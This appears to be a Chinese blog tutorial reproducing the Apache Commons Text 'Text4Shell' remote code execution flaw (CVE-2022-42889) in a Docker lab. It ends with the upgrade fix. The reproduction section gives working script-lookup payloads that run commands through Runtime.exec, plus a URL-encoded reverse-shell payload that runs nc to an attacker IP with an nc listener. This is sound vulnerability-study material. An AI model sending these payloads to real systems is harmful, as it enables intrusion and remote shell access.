文章目录
- 简介
- 影响版本
- 环境搭建
- 漏洞复现
- 漏洞修复
- 参考
简介
Apache Commons Text 项目实现了一系列关于文本字符串的算法,专注于处理字符串和文本块。10月13日,Apache发布安全公告,修复了Apache Commons Text中的一个远程代码执行漏洞(CVE-2022-42889)。
Apache Commons Text版本1.5到1.9中,该问题的根源在于在DNS、脚本和 URL 查找期间执行的字符串替换方式可能导致在传递不受信任的输入时在易受攻击的系统上执行任意代码。
成功利用该漏洞可以使威胁参与者仅通过特制的有效负载打开与易受攻击的应用程序的反向 shell 连接,从而有效地为后续攻击打开大门。
影响版本
1.5 <= Apache Commons Text <= 1.9
环境搭建
GitHub地址: https://github.com/karthikuj/cve-2022-42889-text4shell-docker
- 需要JDK版本11.0以上,跳过
yum update && yum install openjdk-11-jdk
- 安装docker
yum install docker.io containerd runc
- 新建文件夹安装mvn
wget https://mirrors.estointernet.in/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
tar -xvf apache-maven-3.6.3-bin.tar.gz
- 从github拉取PoC
git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker.git
- 进入PoC文件夹后使用mvn clean install
../apache-maven-3.6.3/bin/mvn clean install
- docker拉取镜像
docker build --tag=text4shell .
- 启动docker测试app
docker run -p 80:8080 text4shell
漏洞复现
payload
search=${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
url编码
search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D
还可以尝试,我这个靶机好像不支持
search=${url:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
search=${dns:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
获取容器id
docker container ls
进入容器查看我们刚刚新建的文件foo
docker exec -it <CONTAINER_ID> bash
使用nc监听
nc -lvnp 4444
payload
search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nc%20攻击机ip%20端口%20-e%20%2Fbin%2Fbash%27%29%7D
url编码生成参考https://www.urlencoder.org/
重要提醒:生成的编码包含:“.exec%27”。这是不正确的,它必须是“.exec%28%27”。由于 Medium.com 输入验证,无法使用“.exec%28%27”。我们必须手动添加缺少的“%28”…
漏洞修复
1.升级到 Apache Commons Text 1.10.0(1.10官方默认移除了script)
参考
1.https://blog.csdn.net/qq_44281295/article/details/127383312
2.https://baijiahao.baidu.com/s?id=1747458179022945119&wfr=spider&for=pc
3.https://mp.weixin.qq.com/s/2q5SL1CJAHVPMbKP2Pg_AA